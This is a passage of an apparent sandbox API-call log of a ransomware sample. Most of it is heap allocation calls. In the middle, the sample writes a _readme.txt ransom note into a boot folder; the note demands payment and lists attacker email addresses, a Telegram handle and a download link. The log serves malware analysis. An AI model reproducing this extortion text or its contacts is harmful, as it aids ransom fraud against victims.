lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.371] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.371] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.372] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.373] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.373] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.373] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.373] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.373] PathFindFileNameW (pszPath="") returned="" [0266.373] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.373] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.374] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.374] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.374] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.374] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0266.374] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.374] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.374] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0266.375] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.375] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.375] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.375] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.375] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.376] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.376] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.376] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.376] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.376] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.376] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.376] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.377] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.377] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.378] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.378] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.379] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.379] HeapFree (in: 